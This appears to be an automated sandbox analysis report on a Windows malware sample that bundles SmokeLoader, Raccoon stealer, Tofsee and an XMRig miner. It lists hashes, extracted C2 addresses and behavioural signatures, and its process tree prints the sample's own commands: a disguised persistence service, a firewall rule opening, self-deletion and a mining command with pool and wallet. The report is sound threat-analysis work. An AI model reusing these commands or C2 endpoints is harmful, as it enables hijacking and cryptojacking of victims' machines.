Overview

overview

10

Static

static

39bad05eb4...86.exe

windows7_x64

10

39bad05eb4...86.exe

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    27-09-2021 05:06

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General

  • Target

    39bad05eb49062c256b8f7e215e6eb86.exe

  • Size

    136KB

  • MD5

    39bad05eb49062c256b8f7e215e6eb86

  • SHA1

    32c01c2fdb17d53a67cf6ccf2e26feb0716cc449

  • SHA256

    e32667f798148a1033335863662b7524016f70895a5c35eefca03d107e62476a

  • SHA512

    ad812922770f7638cb37ee8e09f3dbbddf13bce77ea4a094955520e274debf402c662845b43797aa01aa82715ed528b2f76960637e5c8ceacf4b1c4866ac22fc

Score
10/10
raccoonsmokeloadertofseexmrig5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4backdoordiscoveryevasionminerpersistencespywarestealersuricatatrojan

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://naghenrietti1.top/

http://kimballiett2.top/

http://xadriettany3.top/

http://jebeccallis4.top/

http://nityanneron5.top/

http://umayaniela6.top/

http://lynettaram7.top/

http://sadineyalas8.top/

http://geenaldencia9.top/

http://aradysiusep10.top/
rc4.i32
rc4.i32

Extracted

Family

raccoon

Botnet

5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • suricata: ET MALWARE Win32.Raccoon Stealer CnC Activity (dependency download)

    suricata: ET MALWARE Win32.Raccoon Stealer CnC Activity (dependency download)

    suricata
  • suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt

    suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt

    suricata
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 3 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of FindShellTrayWindow 10 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\39bad05eb49062c256b8f7e215e6eb86.exe
    "C:\Users\Admin\AppData\Local\Temp\39bad05eb49062c256b8f7e215e6eb86.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:652
    • C:\Users\Admin\AppData\Local\Temp\39bad05eb49062c256b8f7e215e6eb86.exe
      "C:\Users\Admin\AppData\Local\Temp\39bad05eb49062c256b8f7e215e6eb86.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:824
  • C:\Users\Admin\AppData\Local\Temp\9E3E.exe
    C:\Users\Admin\AppData\Local\Temp\9E3E.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:3972
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vpvroth\
      2⤵
        PID:3460
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\igvhbxiy.exe" C:\Windows\SysWOW64\vpvroth\
        2⤵
          PID:1168
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create vpvroth binPath= "C:\Windows\SysWOW64\vpvroth\igvhbxiy.exe /d\"C:\Users\Admin\AppData\Local\Temp\9E3E.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1280
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description vpvroth "wifi internet conection"
            2⤵
              PID:3148
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start vpvroth
              2⤵
                PID:1592
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2104
              • C:\Users\Admin\AppData\Local\Temp\A302.exe
                C:\Users\Admin\AppData\Local\Temp\A302.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:3968
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\A302.exe"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2536
                  • C:\Windows\SysWOW64\timeout.exe
                    timeout /T 10 /NOBREAK
                    3⤵
                    • Delays execution with timeout.exe
                    PID:3380
              • C:\Windows\SysWOW64\vpvroth\igvhbxiy.exe
                C:\Windows\SysWOW64\vpvroth\igvhbxiy.exe /d"C:\Users\Admin\AppData\Local\Temp\9E3E.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1948
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2892
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3016

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • memory/652-114-0x0000000000610000-0x0000000000619000-memory.dmp

                Filesize

                36KB

                Download

              • memory/824-115-0x0000000000400000-0x0000000000409000-memory.dmp

                Filesize

                36KB

                Download

              • memory/1948-141-0x00000000005A0000-0x00000000006EA000-memory.dmp

                Filesize

                1.3MB

                Download

              • memory/1948-142-0x0000000000400000-0x00000000004AD000-memory.dmp

                Filesize

                692KB

                Download

              • memory/2892-137-0x00000000003C0000-0x00000000003D5000-memory.dmp

                Filesize

                84KB

                Download

              • memory/3016-154-0x0000000000630000-0x0000000000721000-memory.dmp

                Filesize

                964KB

                Download

              • memory/3016-149-0x0000000000630000-0x0000000000721000-memory.dmp

                Filesize

                964KB

                Download

              • memory/3020-117-0x0000000000580000-0x0000000000596000-memory.dmp

                Filesize

                88KB

                Download

              • memory/3968-131-0x0000000000400000-0x00000000004F0000-memory.dmp

                Filesize

                960KB

                Download

              • memory/3968-130-0x0000000002240000-0x00000000022D0000-memory.dmp

                Filesize

                576KB

                Download

              • memory/3972-125-0x00000000005D0000-0x00000000005E3000-memory.dmp

                Filesize

                76KB

                Download

              • memory/3972-126-0x0000000000400000-0x00000000004AD000-memory.dmp

                Filesize

                692KB

                Download